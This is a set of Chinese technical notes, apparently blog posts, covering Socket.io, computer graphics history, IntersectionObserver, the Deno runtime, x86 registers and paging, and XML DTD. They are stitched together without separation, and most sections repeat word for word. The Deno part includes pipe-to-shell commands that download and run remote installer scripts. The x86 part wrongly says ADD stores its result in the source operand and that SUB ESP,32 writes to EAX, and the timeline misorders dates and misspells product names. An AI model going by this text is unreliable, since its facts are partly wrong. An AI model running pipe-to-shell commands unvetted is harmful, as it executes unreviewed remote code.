Socket.io基于WebSocket协议,提供HTTP长轮询(当前客户端不支持WebSocket时)和自动重新连接(提供心跳机制,定期检查连接,连接断开时会进行重新连接操作),和ws模块不同的是,Socket.io提供客户端功能,实质上Socket.io使用的是WS模块提供的WebSocket服务(默认情况),也是可以使用µWebSockets.js提供的WebSocket服务 服务端 npm install socket.io server.js import { Server } from 'socket.io' const io = new Server(3000) io.on('connection', socket => { console.log('已成功连接') // 服务端给客户端发送消息 console.log('正在发送消息') socket.emit('hallo','word') console.log('发送消息完成') // 服务端接收消息 socket.on('abc',(arg) => { console.log(arg) }) socket.on('disconnect', () => { console.log('连接已断开') }) }) 客户端 npm install socket.io-client client.js import { io } from 'socket.io-client' // const socket = io() const socket = io('ws://127.0.0.1:3000') // 客户端接收消息 socket.on('hallo',(arg) =>{ console.log(arg) }) socket.emit('abc','xyz')
计算机图形学(Computer Graphics,CG)是研究图形表达,生成,处理与显示的学科 通过数学算法将二维,三维图形转换成计算机显示器的栅格,例如向量,行列式,矩阵算法等等 图形学历史 1950年,MIT诞生第一个图形显示器(用于Whirlwind(旋风)电子管计算机显示图形),CRT显示器 Whirlwind电子管计算机设计之初是美国空军训练飞行员,半自动地面防空系统(SAGE) 应用CRT和光笔 1958年,双人网球 1960年,William Fetter(威廉﹒费特),创造‘计算机图形学’名词,计算机图形学先驱 1961年,史帝夫﹒罗素(Steve Russell),spacewar游戏 1962年,皮埃尔·贝塞尔(Pierre Bézier),贝塞尔曲线(Bézier curve),绘制曲线 1962年,伊凡·苏泽兰(Ivan Sutherland),Sketchpad绘图应用,计算机图形学之父 1963年,Force, Mass and Motion,https://techchannel.att.com/play-video.cfm/2012/8/20/AT&T-Archives-Force-Mass-Motion 1968年,Ivan Sutherland创造“达摩克里斯之剑”头盔显示器 1968年,Arthur Appel 提出光线投射算法 1973年,Bui Tuong Phong,发明phong shading(Phong着色法) 1974年,Speed Race游戏,第一款赛车游戏 1977年,3D core Graphics System,图形学标准 1980年,NEC µPD7220 GPU,支持1024*1024的显示,普及民用 1996年,Krishnamurthy与Levoy提出法线贴图(Normal Mapping) 1995年,Directx 1.0 1997年,OpenGL 1.1 1999年,Nvidia,Gefprce 256 GPU
计算机图形学(Computer Graphics,CG)是研究图形表达,生成,处理与显示的学科 通过数学算法将二维,三维图形转换成计算机显示器的栅格,例如向量,行列式,矩阵算法等等 图形学历史 1950年,MIT诞生第一个图形显示器(用于Whirlwind(旋风)电子管计算机显示图形),CRT显示器 Whirlwind电子管计算机设计之初是美国空军训练飞行员,半自动地面防空系统(SAGE) 应用CRT和光笔 1958年,双人网球 1960年,William Fetter(威廉﹒费特),创造‘计算机图形学’名词,计算机图形学先驱 1961年,史帝夫﹒罗素(Steve Russell),spacewar游戏 1962年,皮埃尔·贝塞尔(Pierre Bézier),贝塞尔曲线(Bézier curve),绘制曲线 1962年,伊凡·苏泽兰(Ivan Sutherland),Sketchpad绘图应用,计算机图形学之父 1963年,Force, Mass and Motion,https://techchannel.att.com/play-video.cfm/2012/8/20/AT&T-Archives-Force-Mass-Motion 1968年,Ivan Sutherland创造“达摩克里斯之剑”头盔显示器 1968年,Arthur Appel 提出光线投射算法 1973年,Bui Tuong Phong,发明phong shading(Phong着色法) 1974年,Speed Race游戏,第一款赛车游戏 1977年,3D core Graphics System,图形学标准 1980年,NEC µPD7220 GPU,支持1024*1024的显示,普及民用 1996年,Krishnamurthy与Levoy提出法线贴图(Normal Mapping) 1995年,Directx 1.0 1997年,OpenGL 1.1 1999年,Nvidia,Gefprce 256 GPU
IntersectionObserver是浏览器本身提供的构造函数,因此可能有一些老版本浏览器没有效果 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法 var observe = new IntersectionObserver(callback, options) 例如上面,该函数可以传入两个参数,callback是当可视性发生改变时执行回调函数,options是配置对象 使用该构造函数生成的实例中有3个观察器实例,分别是observe(开始监测),unobserve(停止监测),disconnect(关闭监测),其中observe的参数是dom对象 当监测目标对象的可视性发生改变时调用callback参数中的回调函数 options参数:主要是设置观测的对象和观测值,该参数中有三个键值对 root指的是观测对象的根元素,默认是浏览器视口,值要么是根元素,要么就是观测对象的父元素 rootMargin指的是用于扩大或者缩小视口的大小 threshold指的是交叉的比例,主要决定什么时候触发回调函数,是数组,默认值为0 callback参数中的回调函数一般会被调用两次,一次是当监测对象可视性满足了threshold指定的值,还有一次就是监测对象不满足threshold指定的值 IntersectionObserverEntry对象 该对象提供了监测对象的信息,有七个属性 boundingClientRect:返回目标的矩形信息 intersectionRatio:返回相交时和目标的比例值,不可视时小于等于0 intersectionRect:返回目标和视口相交的矩形信息 isIntersecting:返回目标当前是否可视,可视为true(返回值为布尔值) rootBounds:返回根元素的矩形信息,没有指定根元素则返回当前视口的矩形信息 target:返回观测的目标对象,是dom对象 time:返回一个记录了从观测开始到交叉被触发时间的的时间戳,单位为毫秒 如果是搞懒加载,那么intersectionRatio和isIntersecting是关键点 例如: const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });
IntersectionObserver是浏览器本身提供的构造函数,因此可能有一些老版本浏览器没有效果 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法 var observe = new IntersectionObserver(callback, options) 例如上面,该函数可以传入两个参数,callback是当可视性发生改变时执行回调函数,options是配置对象 使用该构造函数生成的实例中有3个观察器实例,分别是observe(开始监测),unobserve(停止监测),disconnect(关闭监测),其中observe的参数是dom对象 当监测目标对象的可视性发生改变时调用callback参数中的回调函数 options参数:主要是设置观测的对象和观测值,该参数中有三个键值对 root指的是观测对象的根元素,默认是浏览器视口,值要么是根元素,要么就是观测对象的父元素 rootMargin指的是用于扩大或者缩小视口的大小 threshold指的是交叉的比例,主要决定什么时候触发回调函数,是数组,默认值为0 callback参数中的回调函数一般会被调用两次,一次是当监测对象可视性满足了threshold指定的值,还有一次就是监测对象不满足threshold指定的值 IntersectionObserverEntry对象 该对象提供了监测对象的信息,有七个属性 boundingClientRect:返回目标的矩形信息 intersectionRatio:返回相交时和目标的比例值,不可视时小于等于0 intersectionRect:返回目标和视口相交的矩形信息 isIntersecting:返回目标当前是否可视,可视为true(返回值为布尔值) rootBounds:返回根元素的矩形信息,没有指定根元素则返回当前视口的矩形信息 target:返回观测的目标对象,是dom对象 time:返回一个记录了从观测开始到交叉被触发时间的的时间戳,单位为毫秒 如果是搞懒加载,那么intersectionRatio和isIntersecting是关键点 例如: const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });
Deno是基于V8引擎,使用Rust构建的JavaScript & TypeScript 运行时环境,天生支持TypeScript,并且有安全模式(默认情况下无法获取网络,文件系统,环境变量等权限,当然也可以开放),Deno的作者是Nodejs之父Ryan Dahl,构建的原因是解决Nodejs的缺陷,例如模块的安全性(Node运行时的权限很高,缺乏模块的安全运行),Deno的模块化选择了ESMoule标准,而且具备浏览器的api,例如window全局变量,支持onload,onunload等事件函数,支持fetch,Web Workers等标准,异步操作返回采用Promise,支持await Deno不使用node_modules与package.json的包管理机制,而是采用下载编译的机制,并且存在缓存,模块更新通过更新缓存来完成 Deno有个特殊的功能,就是可以从网络上导入模块 安装 Linux curl -fsSL https://deno.land/install.sh | sh 或者 windows iwr https://deno.land/install.ps1 -useb | iex 也可以通过scoop安装 scoop install deno 作为Rust构建的,当然也支持Cargo包管理器安装 cargo install deno –locked 或者通过单一的可执行文件来安装(我采用这个方式,再配置一下Path环境变量就是可以了,windows选择deno-x86_64-pc-windows-msvc) https://github.com/denoland/deno/releases 检查是否安装完成 deno –version 第一个例子 import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行 deno run .\index.ts 它会向你询问进行网络请求,是否允许,可通过–allow-net默认运行,例如:deno run –allow-net .\index.ts 第三方库通过https://deno.land/x查找 权限 –allow-env,允许访问环境变量,可指定环境变量列表,通过逗号分隔 –allow-hrtime,允许高分辨率时间测量 –allow-net,允许网络访问,可指定网络地址列表,通过逗号分隔 –allow-ffi,允许加载动态库,动态库不是安全运行的 –allow-read,允许读取,可指定读取文件列表或者目录,使用逗号分隔 –allow-run,允许运行子进程,这个子进程不是安全运行的,可指定子进程列表,通过逗号分隔 –allow-write,允许写入,可指定写入文件列表或者目录,使用逗号分隔 -A 或者 –allow-all 允许全部权限 VsCode插件deno deno内置工具 安装模块 deno install –allow-net -n httpreq https://deno.land/x/dfetch/mod.ts 卸载模块 deno uninstall httpreq 格式化(支持js,ts,jsx,tsx,md,json等格式) 格式化当前目录和子目录全部支持文件 deno fmt 格式化指定文件 deno fmt 1.ts 2.ts 格式化指定支持文件夹 deno fmt dist/ 检查是否已格式化 deno fmt –check 如果需要忽略格式化,只需要在文件头部设置注释// deno-fmt-ignore-file 打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts 编译成执行文件(支持交叉编译,支持win64,macos64,macosarm,Linux64,通过–target属性指定) deno compile –allow-net –target aarch64-apple-darwin index.ts 支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin 检查依赖关系 deno info .\index.ts 如果需要查看依赖缓存位置的信息,可以直接执行deno info命令来查看 规范检查 deno lint .\index.ts 检查json deno lint –json 忽略规范检查请在文件头部设置注释,// deno-lint-ignore-file 下载全部远程依赖项到本地文件夹中(会放到vendor文件下,其中import_map.json是依赖地址文件,deno.land文件夹是依赖项的存储文件夹,可以在deno.json下指定import_map.json或者deno run –no-remote –import-map=vendor/import_map.json index.ts来离线使用模块(也不使用模块)) deno vendor index.ts 任务(deno.json) { "tasks": { "run": "deno run --allow-net index.ts " } } 查看已定义任务 deno task 执行指定任务 deno task run 也可以指定任务的工作目录 deno task –cwd .\src run
Deno是基于V8引擎,使用Rust构建的JavaScript & TypeScript 运行时环境,天生支持TypeScript,并且有安全模式(默认情况下无法获取网络,文件系统,环境变量等权限,当然也可以开放),Deno的作者是Nodejs之父Ryan Dahl,构建的原因是解决Nodejs的缺陷,例如模块的安全性(Node运行时的权限很高,缺乏模块的安全运行),Deno的模块化选择了ESMoule标准,而且具备浏览器的api,例如window全局变量,支持onload,onunload等事件函数,支持fetch,Web Workers等标准,异步操作返回采用Promise,支持await Deno不使用node_modules与package.json的包管理机制,而是采用下载编译的机制,并且存在缓存,模块更新通过更新缓存来完成 Deno有个特殊的功能,就是可以从网络上导入模块 安装 Linux curl -fsSL https://deno.land/install.sh | sh 或者 windows iwr https://deno.land/install.ps1 -useb | iex 也可以通过scoop安装 scoop install deno 作为Rust构建的,当然也支持Cargo包管理器安装 cargo install deno –locked 或者通过单一的可执行文件来安装(我采用这个方式,再配置一下Path环境变量就是可以了,windows选择deno-x86_64-pc-windows-msvc) https://github.com/denoland/deno/releases 检查是否安装完成 deno –version 第一个例子 import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行 deno run .\index.ts 它会向你询问进行网络请求,是否允许,可通过–allow-net默认运行,例如:deno run –allow-net .\index.ts 第三方库通过https://deno.land/x查找 权限 –allow-env,允许访问环境变量,可指定环境变量列表,通过逗号分隔 –allow-hrtime,允许高分辨率时间测量 –allow-net,允许网络访问,可指定网络地址列表,通过逗号分隔 –allow-ffi,允许加载动态库,动态库不是安全运行的 –allow-read,允许读取,可指定读取文件列表或者目录,使用逗号分隔 –allow-run,允许运行子进程,这个子进程不是安全运行的,可指定子进程列表,通过逗号分隔 –allow-write,允许写入,可指定写入文件列表或者目录,使用逗号分隔 -A 或者 –allow-all 允许全部权限 VsCode插件deno deno内置工具 安装模块 deno install –allow-net -n httpreq https://deno.land/x/dfetch/mod.ts 卸载模块 deno uninstall httpreq 格式化(支持js,ts,jsx,tsx,md,json等格式) 格式化当前目录和子目录全部支持文件 deno fmt 格式化指定文件 deno fmt 1.ts 2.ts 格式化指定支持文件夹 deno fmt dist/ 检查是否已格式化 deno fmt –check 如果需要忽略格式化,只需要在文件头部设置注释// deno-fmt-ignore-file 打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts 编译成执行文件(支持交叉编译,支持win64,macos64,macosarm,Linux64,通过–target属性指定) deno compile –allow-net –target aarch64-apple-darwin index.ts 支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin 检查依赖关系 deno info .\index.ts 如果需要查看依赖缓存位置的信息,可以直接执行deno info命令来查看 规范检查 deno lint .\index.ts 检查json deno lint –json 忽略规范检查请在文件头部设置注释,// deno-lint-ignore-file 下载全部远程依赖项到本地文件夹中(会放到vendor文件下,其中import_map.json是依赖地址文件,deno.land文件夹是依赖项的存储文件夹,可以在deno.json下指定import_map.json或者deno run –no-remote –import-map=vendor/import_map.json index.ts来离线使用模块(也不使用模块)) deno vendor index.ts 任务(deno.json) { "tasks": { "run": "deno run --allow-net index.ts " } } 查看已定义任务 deno task 执行指定任务 deno task run 也可以指定任务的工作目录 deno task –cwd .\src run
x86架构通用寄存器(32位的x86架构和64位的x86_64架构) x86_64架构由amd公司推出,因此又叫amd64架构,64位架构是基于32位架构扩展的 32位架构的x86处理器具备8个32位的通用寄存器,可通过名称来引用这8个寄存器,分别为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI EAX的低16位可以被单独使用,引用名称叫AX(高位是左边位,低位是右边位),AX又可以被分为高8位的AH和低8位的AL 实质上EAX,ECX,EDX,EBX都可以被拆开使用,ECX的低16位叫CX,CX又可以被分为高8位的CH和低8位的CL EDC的低16位叫DX,DX又可以被分为高8位的DH和低8位的DL,EBX的低16为叫BX,BX又可以被分为高8位的BH和低8位的BL ESP,EBP,ESI,EDI的低16位也可以被单独使用,但是没有8位的,这低16位名称分别是SP,BP,SI,DI EAX寄存器被乘法和除法指令自动调用,因此又叫累加寄存器 ECX被LOOP(循环)指令调用为循环计数器 ESP被用于寻址栈上的数据,ESP始终指向栈顶,因此又叫栈指针寄存器 ESI和EDI又叫变址寄存器,变址寄存器引用的是内存地址,ESI指向内存源地址,EDI指向目的地址 EBP叫帧指针寄存器,被用来引用栈上的函数参数和局部变量 除了通用寄存器还有EFLAGS标志寄存器,EIP指针寄存器(这个非常重要,因为其引用的是下一条要被指向的指令的地址,注意:并不能直接通过名称来说调用,只能通过CALL之类的间接修改)等等 64位架构(通用寄存器为16个,并且是64位的,而且每个都可以低8位,16位,32位单独使用) EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI的64位是R开头的,其他和32位架构是一样的,64位架构的内存地址也是64位的 x86汇编指令(通常是由一个操作码(opcode)和0到多个的操作数(operand)组成) 整数加减指令(ADD指令(有2个操作数,分别是目的操作数和源操作数,ADD指向将这2个操作数的值相加,将结果存放在源操作数中,源操作数可以是寄存器,内存,目的操作数要满足可写条件,因此也可以是寄存器,内存,但是不能同为内存))和SUB指令(和ADD指令一样,但是是将结果存放在目的操作数中)) ADD指令:ADD EAX,32 (将EAX寄存器的值加上32,并且将结果存放回EAX寄存器中) SUB指令:SUB ESP,32 (将ESP寄存器的值减去32,并且将值存放回EAX寄存器中) 数据传输指令(x86架构有多个数据传输指令,这里是MOV指令) MOV指令用于寄存器之间和寄存器和内存之间传输数据使用,MOV指令将源操作数复制到目的操作数中,例如MOV EDX, 666 (将数值666存储在EDX寄存器中) x86架构内存寻址:displacement(位移,可以在指令中直接得到内存的偏移量,也就是位移,这个位移表示距离操作数的直接偏移量),base(基址,内存地址存储在通用寄存器中),index(索引,注意ESP寄存器不能用于索引),scale(比例因子,用于索引相乘,是固定值,可取值1,2,4,8) 内存最复杂的地址计算公式:base+(index*scale)+displacement base和index,displacement都可以随意组合,也可以不存在,如果不使用index,就不需要使用scale了,scale只为index服务,index和scale被用于寻找数组地址和多维数组 入栈和出栈指令(PUSH和POP指令) PUSH指令只有一个操作数,就是需要入栈的源操作数,这个指令可以将ESP寄存器向下移动一个位,并且将源操作数复制到ESP寄存器指向的内存处,例如:PUSH EAX POP指令也是只有一个操作数,就是用来接收数据的目的操作数,POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中,并且将ESP寄存器向上移动一个位置,例如:POP EAX 分支跳转指令(JMP指令) JMP指令只有一个操作数,这个操作数可以是内存,寄存器或者立即数,通过这个操作数来给出需要跳转的目的地址,例如 JMP EAX 过程调用指令(CALL指令) 高级语言的函数在汇编叫过程,CALL指令只有一个操作数,是过程的起始地址,例如 CALL EAX 分支跳转指令和过程调用指令的区别是,分支跳转指令不会记录返回地址,这个返回地址是CALL指令之后的下一条指令的地址,CALL指令会将返回地址入栈,然后跳转到目的地址执行 子过程执行完成通过RET指令返回,RET指令会在栈上弹出返回地址,并且跳转到该返回地址上继续执行 内存分页机制 线性地址 在内存分页模式中,应用使用的地址就叫线性地址,由MMU(menorymanagement unit)基于页表来映射转换为物理地址 在内存分页模式未出现之前,应用是直接访问物理内存的,应用具备读写全部物理内存的权限,因此可能会覆盖其他应用的数据,而80386架构出现,出现了保护模式,使用内存分页来通过特权级和进程地址空间来进行隔离 进程地址空间隔离是通过进程独立性页表来完成的,每个进程实现的地址空间是不同的,避免影响到其他进程 80386两级页表 80386架构的线性地址为32位,因此可寻4GB大小的内存空间(4096),地址总线也是32位,因此也是只能寻找4gb大小的物理内存,而且分页机制也将每个物理内存的页面的大小设为4096字节 一个页面大小为4096字节,地址总线为32位,因此一个页面可存储1024个物理页面地址,80386页表的第一页面是目录页面,物理内存地址存储在CR3寄存器中,可通过该目录页面来查找第二页面的1024个物理页面地址 MMU将32位的线性地址,低12位是页内偏移,然后的低10位是页表的索引,最后的高10位是页面目录索引,页内偏移的取值范围为0到4095,页表索引和页面目录索引的取值范围为0到1023 80386线性地址转换到物理地址的过程:先从CR3寄存器中获取页目录的物理地址,然后选择一个页表,在到页表索引中,找到页面的物理地址,最后通过页内偏移量来得到实质上的物理地址 PAE三级页表 80386架构的每个进程可使用4gb的线性地址空间,但是操作系统会将4gb的地址空间划分成用户空间和内核空间,为了解决内存空间不够使用,英特尔公司推出了物理地址扩展技术(PAE,PhysicalAddressExtension) PAE将地址总线扩展到36位,因此可寻找64gb的物理内存,但是线性地址依然是32位的,为了解决32位线性地址支持36位的物理地址映射,MMU页表映射机制进行了调整,一个页面只能存储512个地址 PAE的32位线性地址是,高2位是页目录指针索引,后面9位是页目录索引,再后9位是页表索引,最后12位是页内偏移 x64四级页表 因为PAE技术并没有扩展线性空间,32位的地址宽度不够使用了,AMD公司基于x86架构扩展而出的x64架构,x64架构的寄存器宽度是64位的,但是线性地址只使用了48位,但是也足够了,因为可以寻高达256TB的内存空间地址,具体可寻多少物理内存空间,取决于地址总线的宽度 x64架构,在PAE的基础上扩展了页表为4级,而且每个页面的大小是4096字节,高9位是页目录指针表,后9位是页目录指针,再后9位是页目录,然后9位是页表。最后12位是页内偏移量 虚拟内存 进程是以内存页面为单位向操作系统申请内存的,现代操作系统中会对申请的内存空间进行记录,并不会马上分配,而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射,然后恢复中断程序,如果进程访问了没有映射的内存空间,会被操作系统进行page fault处理,操作系统通过page failt handle进行检查内存空间分配记录 物理空间不够分配时,操作系统可以将少使用的物理页面写入到磁盘交换分区(Swap分区)中,将空出来的页面给需要的进程使用,注意:当在磁盘交换分区中内存页面被访问了,也会触发page fault处理,操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中 虚拟内存并不是万金油,触发虚拟内存的条件是物理空间不够分配时
x86架构通用寄存器(32位的x86架构和64位的x86_64架构) x86_64架构由amd公司推出,因此又叫amd64架构,64位架构是基于32位架构扩展的 32位架构的x86处理器具备8个32位的通用寄存器,可通过名称来引用这8个寄存器,分别为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI EAX的低16位可以被单独使用,引用名称叫AX(高位是左边位,低位是右边位),AX又可以被分为高8位的AH和低8位的AL 实质上EAX,ECX,EDX,EBX都可以被拆开使用,ECX的低16位叫CX,CX又可以被分为高8位的CH和低8位的CL EDC的低16位叫DX,DX又可以被分为高8位的DH和低8位的DL,EBX的低16为叫BX,BX又可以被分为高8位的BH和低8位的BL ESP,EBP,ESI,EDI的低16位也可以被单独使用,但是没有8位的,这低16位名称分别是SP,BP,SI,DI EAX寄存器被乘法和除法指令自动调用,因此又叫累加寄存器 ECX被LOOP(循环)指令调用为循环计数器 ESP被用于寻址栈上的数据,ESP始终指向栈顶,因此又叫栈指针寄存器 ESI和EDI又叫变址寄存器,变址寄存器引用的是内存地址,ESI指向内存源地址,EDI指向目的地址 EBP叫帧指针寄存器,被用来引用栈上的函数参数和局部变量 除了通用寄存器还有EFLAGS标志寄存器,EIP指针寄存器(这个非常重要,因为其引用的是下一条要被指向的指令的地址,注意:并不能直接通过名称来说调用,只能通过CALL之类的间接修改)等等 64位架构(通用寄存器为16个,并且是64位的,而且每个都可以低8位,16位,32位单独使用) EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI的64位是R开头的,其他和32位架构是一样的,64位架构的内存地址也是64位的 x86汇编指令(通常是由一个操作码(opcode)和0到多个的操作数(operand)组成) 整数加减指令(ADD指令(有2个操作数,分别是目的操作数和源操作数,ADD指向将这2个操作数的值相加,将结果存放在源操作数中,源操作数可以是寄存器,内存,目的操作数要满足可写条件,因此也可以是寄存器,内存,但是不能同为内存))和SUB指令(和ADD指令一样,但是是将结果存放在目的操作数中)) ADD指令:ADD EAX,32 (将EAX寄存器的值加上32,并且将结果存放回EAX寄存器中) SUB指令:SUB ESP,32 (将ESP寄存器的值减去32,并且将值存放回EAX寄存器中) 数据传输指令(x86架构有多个数据传输指令,这里是MOV指令) MOV指令用于寄存器之间和寄存器和内存之间传输数据使用,MOV指令将源操作数复制到目的操作数中,例如MOV EDX, 666 (将数值666存储在EDX寄存器中) x86架构内存寻址:displacement(位移,可以在指令中直接得到内存的偏移量,也就是位移,这个位移表示距离操作数的直接偏移量),base(基址,内存地址存储在通用寄存器中),index(索引,注意ESP寄存器不能用于索引),scale(比例因子,用于索引相乘,是固定值,可取值1,2,4,8) 内存最复杂的地址计算公式:base+(index*scale)+displacement base和index,displacement都可以随意组合,也可以不存在,如果不使用index,就不需要使用scale了,scale只为index服务,index和scale被用于寻找数组地址和多维数组 入栈和出栈指令(PUSH和POP指令) PUSH指令只有一个操作数,就是需要入栈的源操作数,这个指令可以将ESP寄存器向下移动一个位,并且将源操作数复制到ESP寄存器指向的内存处,例如:PUSH EAX POP指令也是只有一个操作数,就是用来接收数据的目的操作数,POP指向会将ESP寄存器指向的内存处的值复制到目的操作数中,并且将ESP寄存器向上移动一个位置,例如:POP EAX 分支跳转指令(JMP指令) JMP指令只有一个操作数,这个操作数可以是内存,寄存器或者立即数,通过这个操作数来给出需要跳转的目的地址,例如 JMP EAX 过程调用指令(CALL指令) 高级语言的函数在汇编叫过程,CALL指令只有一个操作数,是过程的起始地址,例如 CALL EAX 分支跳转指令和过程调用指令的区别是,分支跳转指令不会记录返回地址,这个返回地址是CALL指令之后的下一条指令的地址,CALL指令会将返回地址入栈,然后跳转到目的地址执行 子过程执行完成通过RET指令返回,RET指令会在栈上弹出返回地址,并且跳转到该返回地址上继续执行 内存分页机制 线性地址 在内存分页模式中,应用使用的地址就叫线性地址,由MMU(menorymanagement unit)基于页表来映射转换为物理地址 在内存分页模式未出现之前,应用是直接访问物理内存的,应用具备读写全部物理内存的权限,因此可能会覆盖其他应用的数据,而80386架构出现,出现了保护模式,使用内存分页来通过特权级和进程地址空间来进行隔离 进程地址空间隔离是通过进程独立性页表来完成的,每个进程实现的地址空间是不同的,避免影响到其他进程 80386两级页表 80386架构的线性地址为32位,因此可寻4GB大小的内存空间(4096),地址总线也是32位,因此也是只能寻找4gb大小的物理内存,而且分页机制也将每个物理内存的页面的大小设为4096字节 一个页面大小为4096字节,地址总线为32位,因此一个页面可存储1024个物理页面地址,80386页表的第一页面是目录页面,物理内存地址存储在CR3寄存器中,可通过该目录页面来查找第二页面的1024个物理页面地址 MMU将32位的线性地址,低12位是页内偏移,然后的低10位是页表的索引,最后的高10位是页面目录索引,页内偏移的取值范围为0到4095,页表索引和页面目录索引的取值范围为0到1023 80386线性地址转换到物理地址的过程:先从CR3寄存器中获取页目录的物理地址,然后选择一个页表,在到页表索引中,找到页面的物理地址,最后通过页内偏移量来得到实质上的物理地址 PAE三级页表 80386架构的每个进程可使用4gb的线性地址空间,但是操作系统会将4gb的地址空间划分成用户空间和内核空间,为了解决内存空间不够使用,英特尔公司推出了物理地址扩展技术(PAE,PhysicalAddressExtension) PAE将地址总线扩展到36位,因此可寻找64gb的物理内存,但是线性地址依然是32位的,为了解决32位线性地址支持36位的物理地址映射,MMU页表映射机制进行了调整,一个页面只能存储512个地址 PAE的32位线性地址是,高2位是页目录指针索引,后面9位是页目录索引,再后9位是页表索引,最后12位是页内偏移 x64四级页表 因为PAE技术并没有扩展线性空间,32位的地址宽度不够使用了,AMD公司基于x86架构扩展而出的x64架构,x64架构的寄存器宽度是64位的,但是线性地址只使用了48位,但是也足够了,因为可以寻高达256TB的内存空间地址,具体可寻多少物理内存空间,取决于地址总线的宽度 x64架构,在PAE的基础上扩展了页表为4级,而且每个页面的大小是4096字节,高9位是页目录指针表,后9位是页目录指针,再后9位是页目录,然后9位是页表。最后12位是页内偏移量 虚拟内存 进程是以内存页面为单位向操作系统申请内存的,现代操作系统中会对申请的内存空间进行记录,并不会马上分配,而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射,然后恢复中断程序,如果进程访问了没有映射的内存空间,会被操作系统进行page fault处理,操作系统通过page failt handle进行检查内存空间分配记录 物理空间不够分配时,操作系统可以将少使用的物理页面写入到磁盘交换分区(Swap分区)中,将空出来的页面给需要的进程使用,注意:当在磁盘交换分区中内存页面被访问了,也会触发page fault处理,操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中 虚拟内存并不是万金油,触发虚拟内存的条件是物理空间不够分配时
xml中文全称为可扩展标记语言(Extensible Markup Language) xml和html类似,但是xml是用来传输和存储数据的,xml大小写敏感,xml的标记是自定义的 xml声明,该声明位在xml文档的第一行,结尾 version属性表示xml的版本,encoding属性表示该xml文档的编码方式,standalone属性表示该文档是否为独立,no表示依赖于外部文档 xml的标记也可以像html一样,认为是元素,一般由开始标签,属性,内容,结束标签组成,例如xml 和就是xml文档中的标签(元素),和html一样,可以嵌套n个子元素,如果一个元素没有被嵌套到其他元素上,那么这个元素就是根元素 一般来说一个格式良好的xml文档只有一个根元素,而且根元素是xml文档的第一个元素,如果一个元素没有嵌套子元素也没有内容,那么这个元素为空元素,空元素不需要结束标签,例如 属性是元素的描述和说明,可以使用多个属性,每个属性都有自己名称和值,值用"“或者’‘包起来 xml的注释方式和html一样, DTD约束 XML是自定义标签,浏览器不知道这个标签是用来干什么的,因此制定的一套约束,遵循一定的语法 DTD约束写在一个DTD文件里,dtd导入,例如: 如果导入了本地的DTD文档,那么standalone属性的值不能为yes DTD除了导入外,还可以内嵌,例如 元素内容包括元素的声明,包括数据类型和符号 PCDATA 中文意思就是被解析的字符数据,会被解析器解析 子元素 例如 空元素 一般用来定义空元素 ANY 表示这个元素没有包含任何字符数据和子元素,例如,在实际开发中,尽量不要使用ANY,除了根元素外,其他使用ANY的元素会失去DTD对XML的约束 符号 问号?:表示该对象可以出现0次或者1次 星号*:表示该对象可以出现0次或者多次 加号+:表示该对象可以出现1次或者多次 竖线|:表示在列出的对象中选择一个 逗号,:表现对象必须按照指定的顺序出现 括号():用于给元素进行分组 DTD除了给定义元素外,也可以为元素定义属性 属性类型指定该属性是属性哪个类型的,属性说明一般用来说明该属性是否必须出现 属性类型 CDTATA // 表示属性类型为字符数据,如果想在属性设置值中出现特殊符号(例如<),那么需要使用其转义字符序列来表示,例如 “<“来表示”<” Enumerated(枚举类型) // 在声明一个属性时,可以限制该属性的取值只能从一个列表中选择,但是在DTD文档中不会出现Enumerated关键字,用法例如: ID // 表示该属性类型为唯一标识,一个元素只能有一个id类型的属性,而且属性说明必须为REQUIRED或者IMPLIED IDREF和IDREFS // 一般用来关联元素与元素之间的关系,而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值,例如: 1 2 说明ID为01和02的元素之间,存在关联 IDREFS就是引用多个ID类型的属性值,例如: 1 属性说明 REQUIRED // 表示这个元素的这个属性是必须的 IMPLIED // 表示这个元素可以包含这个属性,也可以不包含 FIXED // 表示这个固定的属性默认值,不能将该属性的值设置为其他值,使用该说明时还需要提供一个默认值,如果XML没有定义该属性,那么其值就被自动设置为DTD定义的默认值 默认值 // 和FIXED一样,不同的是,这个属性的值可以改变,如果在xml文档中设置了新的值,那么新的值会覆盖DTD定义的默认值
